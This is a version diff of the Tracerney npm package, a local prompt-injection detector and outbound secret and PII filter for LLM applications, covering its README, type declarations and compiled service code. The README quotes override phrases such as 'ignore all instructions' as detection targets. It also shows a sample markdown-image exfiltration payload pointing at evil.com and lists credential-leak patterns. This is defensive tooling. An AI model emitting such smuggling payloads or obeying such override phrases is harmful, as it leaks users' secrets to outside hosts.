@sandrobuilds/tracerney 0.9.21 → 0.9.23

package/README.md

@@ -1,6 +1,6 @@
 # Tracerney
 
-Lightweight prompt injection detection for LLM applications. Runs 100% locally with zero data leaving your server.
+Lightweight prompt injection detection and outbound PII/secret filtering for LLM applications. Runs 100% locally with zero data leaving your server.
 
 > 🚀 **Explore the full platform at [tracerney.com](https://www.tracerney.com)** — includes dashboard, analytics, API management, and team collaboration tools.
 
@@ -10,199 +10,194 @@ Lightweight prompt injection detection for LLM applications. Runs 100% locally w
 npm install @sandrobuilds/tracerney
 ```
 
-## Usage
+---
+
+## Layer 1: The Deterministic Filter
+
+A high-speed, synchronous sensor that scans every LLM **response** before it reaches your user. Target latency: **<5ms**. No LLM needed — pure regex.
+
+The SDK never decides for you. It labels every finding and hands you the keys.
+
+### The `validate()` API
 
 ```typescript
 import { Tracerney } from '@sandrobuilds/tracerney';
 
-const tracer = new Tracerney();
+const tracerney = new Tracerney();
 
-const result = await tracer.scanPrompt(userInput);
+const trace = tracerney.validate(agentOutput);
 
-if (result.suspicious) {
-  console.log('⚠️ Suspicious:', result.patternName);
-  // Handle flagged prompt (log, block, rate-limit, etc.)
+if (trace.isSuspicious) {
+  console.log(`[${trace.label}]: ${trace.reason}`);
+
+  // Option A: Hard block
+  if (trace.label === 'SUSPICIOUS_EGRESS') {
+    throw new Error('Security Policy Violation');
+  }
+
+  // Option B: Surgical scrub — return pre-computed redacted version
+  return trace.redactedContent;
 }
 ```
 
-## What's Included
+### The Suspicious Manifest
 
-- **258 embedded attack patterns** — real-world injection techniques detected in real-time
-- **Local detection** — <5ms latency per prompt, zero network overhead
-- **Zero dependencies** — single npm package
-- **Privacy-first** — no data leaves your server, 100% local processing
+Every finding is labeled so you can route your own reaction:
 
-## Result Object
+| Trigger | Label | `redactedContent` token | Recommended action |
+|---|---|---|---|
+| Email / Phone | `SUSPICIOUS_PII` | `[SUSPICIOUS_PII:EMAIL]` | Usually Redact |
+| API Keys / SSH / CC / SSN | `SUSPICIOUS_SECRET` | `[SUSPICIOUS_SECRET:ANTHROPIC_API_KEY]` | Usually Block |
+| External URL smuggling | `SUSPICIOUS_EGRESS` | `[SUSPICIOUS_EGRESS:MARKDOWN_IMAGE_SMUGGLING]` | Always Block |
+| Zero-width / BiDi / Base64 | `SUSPICIOUS_ENCODING` | `[SUSPICIOUS_ENCODING:BIDI_OVERRIDE]` | Audit / Block |
 
-### Layer 1 (Pattern Detection)
-```typescript
-{
-  suspicious: boolean;     // true if pattern matched
-  patternName?: string;    // e.g., "Ignore Instructions"
-  severity?: string;       // "CRITICAL" | "HIGH" | "MEDIUM" | "LOW"
-  blocked: boolean;        // false (Layer 1 only marks suspicious)
-}
-```
+### `SuspiciousTrace` object
 
-### Layer 2 (LLM Sentinel)
 ```typescript
-{
-  action: "BLOCK" | "ALLOW";     // Final decision from LLM Sentinel
-  confidence: number;             // 0.0 to 1.0 confidence score
-  class: string;                  // Threat classification (e.g., "jailbreak_llm_detected")
-  fingerprint: string;            // Unique threat identifier for tracking
-}
+const trace = tracerney.validate(agentOutput);
+
+trace.isSuspicious      // boolean — true if any pattern matched
+trace.label             // 'SUSPICIOUS_PII' | 'SUSPICIOUS_SECRET' | 'SUSPICIOUS_EGRESS' | 'SUSPICIOUS_ENCODING' | null
+trace.reason            // "Detected 2 finding(s): Email Address, AWS Access Key ID"
+trace.redactedContent   // pre-scrubbed version of the input — use it or throw, your call
+trace.findings          // full per-pattern breakdown for logging/telemetry
 ```
 
-## Detected Patterns
+### What Layer 1 detects
+
+**`SUSPICIOUS_PII`** — Accidental personal data exposure
+- Email addresses
+- US phone numbers
 
-- Instruction overrides ("ignore all instructions")
-- Role-play jailbreaks ("act as unrestricted AI")
-- Hypothetical constraint bypass ("what would you do without constraints?")
-- Context confusion attacks
-- Data extraction attempts
-- Code execution risks
-- And 254 more...
+**`SUSPICIOUS_SECRET`** — High-value credential leaks
+- Anthropic, OpenAI, Stripe, GitHub, AWS, Google, Slack, SendGrid, Twilio API keys
+- SSH / PEM private key blocks
+- Credit card numbers (Visa, Mastercard, Amex, Discover)
+- US Social Security Numbers
 
-## Multi-Layer Runtime Defense
+**`SUSPICIOUS_EGRESS`** — Active data exfiltration attempts
+- Markdown image tags with URL query params: `![x](https://evil.com/log.png?config=secret)`
+- Markdown links smuggling data via query params
+- Credential-embedded URLs: `https://user:password@hostname`
+- Base64 payloads in URL parameters
 
-**Layer 1:** Pattern Matching (Always Free)
-- 258 real-world attack patterns in real-time
-- <5ms detection on modern hardware
-- Zero network overhead
-- Local processing only
-- Detects: instruction overrides, role-play jailbreaks, context confusion, code execution risks, data extraction attempts, and more
+**`SUSPICIOUS_ENCODING`** — Obfuscation and hidden data
+- Zero-width characters (`\u200B`, `\u200C`, `\uFEFF`, etc.)
+- Unicode bidirectional override characters (BiDi attacks)
+- Standalone base64 blobs (≥120 chars) outside of URLs
 
-**Layer 2:** LLM Sentinel (Pro - $9/month)
-- **AI-powered response verification** — LLM-based analysis for novel attack patterns
-- **Context-aware scanning** — understands your application's specific security policies
-- **Delimiter salting** — prevents prompt injection through response boundaries
-- **Zero prompt storage** — responses are analyzed in-memory, never saved or logged
-- **Structured threat metadata** — detailed fingerprints for audit trails and tracking
-- **Advanced rate limiting** — prevents cost spikes with intelligent throttling
+### Developer decision guide
 
-## Layer 2: LLM Sentinel Deep Dive
+```typescript
+const trace = tracerney.validate(agentOutput);
+
+if (!trace.isSuspicious) {
+  return agentOutput; // clean
+}
 
-Layer 2 adds advanced security with LLM Sentinel, an AI-powered verification system that analyzes LLM responses for injection patterns and validates output safety. Combines local pattern detection (Layer 1) with server-side verification for defense-in-depth protection.
+switch (trace.label) {
+
+  case 'SUSPICIOUS_PII':
+    // Low risk — agent is being too "talkative"
+    // Redact and continue; don't break the user's flow
+    return trace.redactedContent;
+
+  case 'SUSPICIOUS_SECRET':
+    // High risk — agent leaked a credential
+    // Redact before sending, fire an alert
+    myAlerts.fire({ label: trace.label, reason: trace.reason });
+    return trace.redactedContent;
+
+  case 'SUSPICIOUS_EGRESS':
+    // Critical — agent is trying to exfiltrate data
+    // Kill the process. The caller gets nothing.
+    throw new SecurityError('Egress attack detected');
+
+  case 'SUSPICIOUS_ENCODING':
+    // Critical — hidden/obfuscated payload
+    // Audit and block; send for review
+    myAlerts.fire({ label: trace.label, reason: trace.reason });
+    throw new SecurityError('Encoding attack detected');
+}
+```
 
-### How Layer 1 & Layer 2 Work Together
+---
 
-| **Layer 1: Pattern Detection (Free SDK)** | **Layer 2: LLM Sentinel (Pro)** |
-|---|---|
-| Local pattern matching | Server-side verification |
-| 258 attack patterns | Output validation |
-| <5ms latency | JSON safety checks |
-| No data leaves device | Delimiter salting |
-| Zero network calls | Context-aware analysis |
+## Layer 1 + LLM Pipeline: `wrap()`
 
-### Enabling Layer 2
+If you want automatic protection wired into your LLM call, use `wrap()`. It runs Layer 1 on the response before returning it to you, and applies the same label-based routing:
 
-Initialize Tracerney with Layer 2 LLM Sentinel (Pro plan required):
+- `SUSPICIOUS_EGRESS` → throws `ShieldBlockError` (caller gets nothing)
+- `SUSPICIOUS_SECRET` / `SUSPICIOUS_ENCODING` → emits a `PII_LEAK` telemetry event, returns scrubbed response
+- `SUSPICIOUS_PII` → returns scrubbed response silently
 
 ```typescript
-const tracer = new Tracerney({
-  apiKey: process.env.TRACERNEY_API_KEY,
-  sentinelEnabled: true,
-});
+const response = await tracerney.wrap(
+  () => openai.chat.completions.create({ model: 'gpt-4o', messages }),
+  { prompt: userInput } // optional: also scan the inbound prompt
+);
+// response.choices[0].message.content is already scrubbed
 ```
 
-That's it! Layer 2 is automatically configured to use the hosted LLM Sentinel service. Your API key authenticates requests and verifies your Pro subscription.
+---
+
+## Layer 2: LLM Sentinel
+
+Layer 2 adds AI-powered verification for novel attack patterns not covered by regex. It runs after Layer 1 marks a prompt suspicious, using a hosted LLM to confirm or clear the threat.
 
-### Custom Layer 2 Configuration (Advanced)
+**Layer 1 (Free)** | **Layer 2 (Pro — $9/month)**
+---|---
+Local regex, <5ms | Server-side LLM analysis
+258 attack patterns | Context-aware threat detection
+No network calls | Zero prompt storage
+Always on | Activates only on Layer 1 hits
 
-Want to self-host Layer 2 or use a custom implementation? Override the sentinel endpoint:
+### Enable Layer 2
 
 ```typescript
-const tracer = new Tracerney({
+const tracerney = new Tracerney({
   apiKey: process.env.TRACERNEY_API_KEY,
   sentinelEnabled: true,
-  baseUrl: process.env.TRACERNEY_BASE_URL, // e.g., http://localhost:3000 or https://myapp.com
-  sentinelEndpoint: process.env.TRACERNEY_SENTINEL_ENDPOINT, // e.g., /api/v1/verify-prompt
 });
 ```
 
-**Self-hosting Layer 2?** You can build your own verification endpoint using the same pattern as our hosted service. Contact support for self-hosting guidance.
+### Layer 2 response format
 
-### Scanning with Layer 2
-
-With Layer 2 enabled, `scanPrompt` validates both input and LLM responses. Handle errors appropriately:
+```json
+// Safe
+{ "action": "ALLOW", "confidence": 0.15, "class": "safe_content", "fingerprint": "a3f7k2" }
 
-```typescript
-try {
-  // Scan input (Layer 1 + Layer 2)
-  const result = await tracer.scanPrompt(userInput);
-  // If we get here, input is safe. Call LLM
-  const llmResponse = await llm.chat(userInput);
-  // Verify LLM output wasn't compromised
-  const outputCheck = await tracer.verifyOutput(llmResponse);
-  return llmResponse;
-} catch (err) {
-  if (err instanceof ShieldBlockError) {
-    return NextResponse.json(
-      { error: "Input content is flagged as suspicious" },
-      { status: 400 }
-    );
-  }
-  throw err;
-}
+// Blocked
+{ "action": "BLOCK", "confidence": 0.99, "class": "jailbreak_semantic_pattern", "fingerprint": "c1p5n3" }
 ```
 
-### API Response Format
+---
 
-The verify-prompt endpoint returns structured responses. Success (HTTP 200) includes classification, confidence, and fingerprint. Errors include specific error codes and messages.
+## Inbound prompt scanning: `scanPrompt()`
 
-#### ✅ Content is Safe (HTTP 200)
-```json
-{
-  "action": "ALLOW",
-  "confidence": 0.15,
-  "class": "safe_content",
-  "fingerprint": "a3f7k2"
-}
-```
+```typescript
+const result = await tracerney.scanPrompt(userInput);
 
-#### 🔴 Content is Blocked (HTTP 200)
-```json
-{
-  "action": "BLOCK",
-  "confidence": 0.99,
-  "class": "jailbreak_semantic_pattern",
-  "fingerprint": "c1p5n3"
+if (result.suspicious) {
+  console.log('Suspicious:', result.patternName, result.severity);
 }
 ```
 
-#### ⚠️ Quota Exceeded (HTTP 402)
-```json
-{
-  "blocked": true,
-  "reason": "scan_limit_exceeded",
-  "scansUsed": 50,
-  "limit": 50,
-  "message": "Free plan limit reached (50/month)..."
-}
+```typescript
+result.suspicious     // boolean
+result.patternName    // e.g. "Ignore Instructions"
+result.severity       // "CRITICAL" | "HIGH" | "MEDIUM" | "LOW"
+result.blocked        // true only if Layer 2 confirmed the attack
 ```
 
 ---
 
-## Pricing & Usage
-
-- **Free Tier:** 50 scans/month with Layer 1 pattern detection
-- **Pro Tier:** 2,500 scans/month with Layer 1 + Layer 2 LLM verification ($9/month)
-
----
-
-## Ready for Advanced Protection?
-
-Layer 2 (LLM Sentinel) adds AI-powered verification with **context-aware** threat detection and **zero prompt storage** — all responses are analyzed in-memory and immediately discarded.
+## Pricing
 
-**[Start Your Free Trial or Upgrade to Pro](https://www.tracerney.com/docs)** at tracerney.com
+- **Free:** 50 scans/month — Layer 1 pattern detection
+- **Pro ($9/month):** 2,500 scans/month — Layer 1 + Layer 2 LLM Sentinel
 
-Includes:
-- Dashboard with threat analytics
-- API key management
-- Team collaboration features
-- Detailed threat fingerprints for compliance
-- Priority support for Pro members
+**[Start free or upgrade at tracerney.com](https://www.tracerney.com/docs)**
 
 ---
 

package/dist/application/ShieldApplicationService.d.ts

@@ -3,6 +3,7 @@
  * Core orchestrator: wires domain services + infrastructure adapters
  * Fixes all 5 integration gaps from the original design
  */
+import { type SuspiciousTrace } from "../domain/pii/DeterministicFilter";
 import { type ToolPolicy } from "../domain/guard/ToolPolicy";
 import { ILLMProvider, type LLMResponse } from "./ports/ILLMProvider";
 import { ISentinel } from "./ports/ISentinel";
@@ -30,6 +31,7 @@ export interface ScanResult {
     severity?: string;
     blocked: boolean;
 }
+export type { SuspiciousTrace };
 export interface ServiceStatus {
     patternMatcher: {
         ready: boolean;
@@ -46,6 +48,7 @@ export interface ServiceStatus {
 export declare class ShieldApplicationService {
     private readonly config;
     private patternMatcher;
+    private readonly deterministicFilter;
     private toolGuard;
     private telemetrySink?;
     private llmProvider?;
@@ -76,6 +79,11 @@ export declare class ShieldApplicationService {
      * - Jitter: Add random delay to obfuscate timing
      */
     scanPrompt(prompt: string, requestId?: string): Promise<ScanResult>;
+    /**
+     * Layer 1: Scan any string for suspicious content.
+     * Returns a SuspiciousTrace — the SDK never decides for you.
+     */
+    validate(text: string): SuspiciousTrace;
     /**
      * Update tool policy at runtime
      */

package/dist/application/ShieldApplicationService.d.ts.map

@@ -1 +1 @@
-{"version":3,"file":"ShieldApplicationService.d.ts","sourceRoot":"","sources":["../../src/application/ShieldApplicationService.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AAIH,OAAO,EAAoB,KAAK,UAAU,EAAE,MAAM,4BAA4B,CAAC;AAO/E,OAAO,EAAE,YAAY,EAAE,KAAK,WAAW,EAAE,MAAM,sBAAsB,CAAC;AACtE,OAAO,EAAE,SAAS,EAAE,MAAM,mBAAmB,CAAC;AAC9C,OAAO,EAAE,cAAc,EAAE,MAAM,wBAAwB,CAAC;AACxD,OAAO,EAAE,kBAAkB,EAAE,MAAM,4BAA4B,CAAC;AAGhE,OAAO,EAAE,iBAAiB,EAAyB,MAAM,6BAA6B,CAAC;AAIvF,MAAM,WAAW,8BAA8B;IAC7C,iBAAiB,EAAE,kBAAkB,CAAC;IACtC,aAAa,CAAC,EAAE,cAAc,CAAC;IAC/B,UAAU,EAAE,UAAU,CAAC;IACvB,UAAU,CAAC,EAAE,MAAM,CAAC;IACpB,WAAW,CAAC,EAAE,YAAY,CAAC;IAC3B,QAAQ,CAAC,EAAE,SAAS,CAAC;IACrB,aAAa,CAAC,EAAE,iBAAiB,CAAC;CACnC;AAED,MAAM,WAAW,WAAW;IAC1B,MAAM,CAAC,EAAE,MAAM,CAAC;IAChB,SAAS,CAAC,EAAE,MAAM,CAAC;IACnB,SAAS,CAAC,EAAE,MAAM,CAAC;IACnB,QAAQ,CAAC,EAAE,MAAM,CAAC;CACnB;AAED,MAAM,WAAW,UAAU;IACzB,UAAU,EAAE,OAAO,CAAC;IACpB,WAAW,CAAC,EAAE,MAAM,CAAC;IACrB,QAAQ,CAAC,EAAE,MAAM,CAAC;IAClB,OAAO,EAAE,OAAO,CAAC;CAClB;AAED,MAAM,WAAW,aAAa;IAC5B,cAAc,EAAE;QACd,KAAK,EAAE,OAAO,CAAC;QACf,KAAK,CAAC,EAAE,OAAO,CAAC;KACjB,CAAC;IACF,SAAS,EAAE;QACT,YAAY,EAAE,SAAS,MAAM,EAAE,CAAC;KACjC,CAAC;IACF,SAAS,EAAE;QACT,OAAO,EAAE,OAAO,CAAC;QACjB,MAAM,CAAC,EAAE,OAAO,CAAC;KAClB,CAAC;CACH;AAED,qBAAa,wBAAwB;IASvB,OAAO,CAAC,QAAQ,CAAC,MAAM;IARnC,OAAO,CAAC,cAAc,CAAiB;IACvC,OAAO,CAAC,SAAS,CAAY;IAC7B,OAAO,CAAC,aAAa,CAAC,CAAiB;IACvC,OAAO,CAAC,WAAW,CAAC,CAAe;IACnC,OAAO,CAAC,QAAQ,CAAC,CAAY;IAE7B,OAAO,CAAC,QAAQ,CAAC,UAAU,CAAS;gBAEP,MAAM,EAAE,8BAA8B;IAenE;;;OAGG;IACH,OAAO,CAAC,oBAAoB;IAmB5B;;;;;;OAMG;IACG,IAAI,CAAC,CAAC,SAAS,WAAW,EAC9B,OAAO,EAAE,MAAM,OAAO,CAAC,CAAC,CAAC,EACzB,OAAO,CAAC,EAAE,WAAW,GACpB,OAAO,CAAC,CAAC,CAAC;IAuDb;;;;;;;;;OASG;IACG,UAAU,CAAC,MAAM,EAAE,MAAM,EAAE,SAAS,CAAC,EAAE,MAAM,GAAG,OAAO,CAAC,UAAU,CAAC;IAmFzE;;OAEG;IACH,eAAe,CAAC,KAAK,EAAE,SAAS,MAAM,EAAE,GAAG,IAAI;IAK/C;;OAEG;IACH,SAAS,IAAI,aAAa;IAgB1B;;OAEG;IACH,OAAO,CAAC,MAAM;IAMd;;OAEG;IACH,OAAO,IAAI,IAAI;IAIf;;OAEG;IACH,OAAO,CAAC,iBAAiB;CAG1B"}
+{"version":3,"file":"ShieldApplicationService.d.ts","sourceRoot":"","sources":["../../src/application/ShieldApplicationService.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AAGH,OAAO,EAAuB,KAAK,eAAe,EAAsB,MAAM,mCAAmC,CAAC;AAElH,OAAO,EAAoB,KAAK,UAAU,EAAE,MAAM,4BAA4B,CAAC;AAO/E,OAAO,EAAE,YAAY,EAAE,KAAK,WAAW,EAAE,MAAM,sBAAsB,CAAC;AACtE,OAAO,EAAE,SAAS,EAAE,MAAM,mBAAmB,CAAC;AAC9C,OAAO,EAAE,cAAc,EAAE,MAAM,wBAAwB,CAAC;AACxD,OAAO,EAAE,kBAAkB,EAAE,MAAM,4BAA4B,CAAC;AAGhE,OAAO,EAAE,iBAAiB,EAAyB,MAAM,6BAA6B,CAAC;AAIvF,MAAM,WAAW,8BAA8B;IAC7C,iBAAiB,EAAE,kBAAkB,CAAC;IACtC,aAAa,CAAC,EAAE,cAAc,CAAC;IAC/B,UAAU,EAAE,UAAU,CAAC;IACvB,UAAU,CAAC,EAAE,MAAM,CAAC;IACpB,WAAW,CAAC,EAAE,YAAY,CAAC;IAC3B,QAAQ,CAAC,EAAE,SAAS,CAAC;IACrB,aAAa,CAAC,EAAE,iBAAiB,CAAC;CACnC;AAED,MAAM,WAAW,WAAW;IAC1B,MAAM,CAAC,EAAE,MAAM,CAAC;IAChB,SAAS,CAAC,EAAE,MAAM,CAAC;IACnB,SAAS,CAAC,EAAE,MAAM,CAAC;IACnB,QAAQ,CAAC,EAAE,MAAM,CAAC;CACnB;AAED,MAAM,WAAW,UAAU;IACzB,UAAU,EAAE,OAAO,CAAC;IACpB,WAAW,CAAC,EAAE,MAAM,CAAC;IACrB,QAAQ,CAAC,EAAE,MAAM,CAAC;IAClB,OAAO,EAAE,OAAO,CAAC;CAClB;AAED,YAAY,EAAE,eAAe,EAAE,CAAC;AAEhC,MAAM,WAAW,aAAa;IAC5B,cAAc,EAAE;QACd,KAAK,EAAE,OAAO,CAAC;QACf,KAAK,CAAC,EAAE,OAAO,CAAC;KACjB,CAAC;IACF,SAAS,EAAE;QACT,YAAY,EAAE,SAAS,MAAM,EAAE,CAAC;KACjC,CAAC;IACF,SAAS,EAAE;QACT,OAAO,EAAE,OAAO,CAAC;QACjB,MAAM,CAAC,EAAE,OAAO,CAAC;KAClB,CAAC;CACH;AAED,qBAAa,wBAAwB;IAUvB,OAAO,CAAC,QAAQ,CAAC,MAAM;IATnC,OAAO,CAAC,cAAc,CAAiB;IACvC,OAAO,CAAC,QAAQ,CAAC,mBAAmB,CAAsB;IAC1D,OAAO,CAAC,SAAS,CAAY;IAC7B,OAAO,CAAC,aAAa,CAAC,CAAiB;IACvC,OAAO,CAAC,WAAW,CAAC,CAAe;IACnC,OAAO,CAAC,QAAQ,CAAC,CAAY;IAE7B,OAAO,CAAC,QAAQ,CAAC,UAAU,CAAS;gBAEP,MAAM,EAAE,8BAA8B;IAkBnE;;;OAGG;IACH,OAAO,CAAC,oBAAoB;IAmB5B;;;;;;OAMG;IACG,IAAI,CAAC,CAAC,SAAS,WAAW,EAC9B,OAAO,EAAE,MAAM,OAAO,CAAC,CAAC,CAAC,EACzB,OAAO,CAAC,EAAE,WAAW,GACpB,OAAO,CAAC,CAAC,CAAC;IA6Gb;;;;;;;;;OASG;IACG,UAAU,CAAC,MAAM,EAAE,MAAM,EAAE,SAAS,CAAC,EAAE,MAAM,GAAG,OAAO,CAAC,UAAU,CAAC;IAmFzE;;;OAGG;IACH,QAAQ,CAAC,IAAI,EAAE,MAAM,GAAG,eAAe;IAIvC;;OAEG;IACH,eAAe,CAAC,KAAK,EAAE,SAAS,MAAM,EAAE,GAAG,IAAI;IAK/C;;OAEG;IACH,SAAS,IAAI,aAAa;IAgB1B;;OAEG;IACH,OAAO,CAAC,MAAM;IAMd;;OAEG;IACH,OAAO,IAAI,IAAI;IAIf;;OAEG;IACH,OAAO,CAAC,iBAAiB;CAG1B"}

package/dist/application/ShieldApplicationService.js

@@ -4,6 +4,7 @@
  * Fixes all 5 integration gaps from the original design
  */
 import { PatternMatcher } from '../domain/detection/PatternMatcher.js';
+import { DeterministicFilter } from '../domain/pii/DeterministicFilter.js';
 import { ToolGuard } from '../domain/guard/ToolGuard.js';
 import { createToolPolicy } from '../domain/guard/ToolPolicy.js';
 import { createSecurityEvent, SecurityEventType, ThreatSeverity, } from '../domain/events/index.js';
@@ -20,6 +21,8 @@ export class ShieldApplicationService {
         this.sentinel = config.sentinel; // Layer 2
         // this.shadowLogSink = config.shadowLogSink; // Disabled for now
         this.sdkVersion = config.sdkVersion ?? "0.2.0";
+        // Layer 1: deterministic outbound filter (singleton, stateless)
+        this.deterministicFilter = new DeterministicFilter();
         // Initialize patterns synchronously (bundled patterns always available)
         this.patternMatcher = new PatternMatcher(BUNDLED_PATTERNS);
         // Load remote patterns in background if configured (zero-day updates)
@@ -63,9 +66,45 @@ export class ShieldApplicationService {
                 // Layer 1 just marks suspicious=true, doesn't block
             }
             // Execute the LLM call
-            const response = await llmCall();
-            // FIX GAP 2: Compute and store latencyMs in event metadata
+            const rawResponse = await llmCall();
+            // ── Layer 1 (Outbound): Deterministic Filter ─────────────────────────
+            // Synchronous regex pass — <5ms, runs before the caller ever sees the text.
+            //
+            // The filter is a SENSOR, not a policy enforcer.
+            // It labels every finding with a SuspiciousLabel and pre-computes redactedContent.
+            // ShieldApplicationService acts on the label:
+            //
+            //   SUSPICIOUS_EGRESS   → throw (active exfiltration, caller gets nothing)
+            //   SUSPICIOUS_SECRET   → emit PII_LEAK alert, return redacted response
+            //   SUSPICIOUS_ENCODING → emit PII_LEAK alert, return redacted response
+            //   SUSPICIOUS_PII      → return redacted response silently
+            const { response, outcome: filterOutcome } = this.deterministicFilter.filterResponse(rawResponse);
             const latencyMs = Date.now() - startTime;
+            const trace = filterOutcome.trace;
+            if (trace.isSuspicious && trace.label) {
+                if (trace.label === "SUSPICIOUS_EGRESS") {
+                    // Active exfiltration — kill the process, caller gets nothing.
+                    const event = createSecurityEvent(requestId, SecurityEventType.SUSPICIOUS_EGRESS, ThreatSeverity.CRITICAL, `Layer 1: ${trace.reason}`, {
+                        patternName: trace.findings[0]?.patternName,
+                        blockLatencyMs: latencyMs,
+                        modelName: options?.modelName,
+                        provider: options?.provider,
+                    }, startTime);
+                    this.report(event);
+                    throw new ShieldBlockError("Tracerney Block: Suspicious Egress Detected", event);
+                }
+                if (trace.label === "SUSPICIOUS_SECRET" || trace.label === "SUSPICIOUS_ENCODING") {
+                    // Accidental leak of high-value data — alert, but return the scrubbed response.
+                    const event = createSecurityEvent(requestId, SecurityEventType.PII_LEAK, ThreatSeverity.HIGH, `Layer 1: ${trace.reason}`, {
+                        patternName: trace.findings[0]?.patternName,
+                        blockLatencyMs: latencyMs,
+                        modelName: options?.modelName,
+                        provider: options?.provider,
+                    }, startTime);
+                    this.report(event);
+                }
+                // SUSPICIOUS_PII (email/phone) → return scrubbed response silently, no event.
+            }
             // Validate tool calls against policy
             const toolCalls = response.choices?.[0]?.message?.tool_calls;
             const violation = this.toolGuard.validate(toolCalls, requestId);
@@ -171,6 +210,13 @@ export class ShieldApplicationService {
             await jitter();
         }
     }
+    /**
+     * Layer 1: Scan any string for suspicious content.
+     * Returns a SuspiciousTrace — the SDK never decides for you.
+     */
+    validate(text) {
+        return this.deterministicFilter.validate(text);
+    }
     /**
      * Update tool policy at runtime
      */

package/dist/application/ShieldApplicationService.js.map

@@ -1 +1 @@
-{"version":3,"file":"ShieldApplicationService.js","sourceRoot":"","sources":["../../src/application/ShieldApplicationService.ts"],"names":[],"mappings":"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